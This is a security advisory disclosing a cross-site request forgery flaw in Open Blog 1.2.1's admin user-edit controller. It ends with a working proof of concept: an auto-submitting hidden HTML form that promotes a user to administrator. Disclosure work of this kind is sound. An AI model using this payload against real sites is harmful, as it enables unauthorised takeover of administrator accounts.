33 lines
No EOL
1.6 KiB
HTML
33 lines
No EOL
1.6 KiB
HTML
Vulnerability ID: HTB22496
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Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
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Product: Open Blog
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Vendor: Tomaž Muraus ( http://www.open-blog.info/ )
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Vulnerable Version: 1.2.1 and Probably Prior Versions
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Vendor Notification: 22 July 2010
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Vulnerability Type: CSRF (Cross-Site Request Forgery)
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Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
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Risk level: Low
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.
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Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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Attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action="http://host/admin/users/edit" method="post" >
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<input type="hidden" name="display_name" value="User" />
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<input type="hidden" name="level" value="administrator" />
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<input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" />
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<input type="hidden" name="website" value="" />
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<input type="hidden" name="msn_messenger" value="" />
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<input type="hidden" name="jabber" value="" />
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<input type="hidden" name="about_me" value="about_me" />
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<input type="hidden" name="id" value="2" />
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<input type="submit" name="submit" id="sbmtit" value="Edit ››" />
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</form>
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<script>
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document.getElementById('sbmtit').click();
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</script> |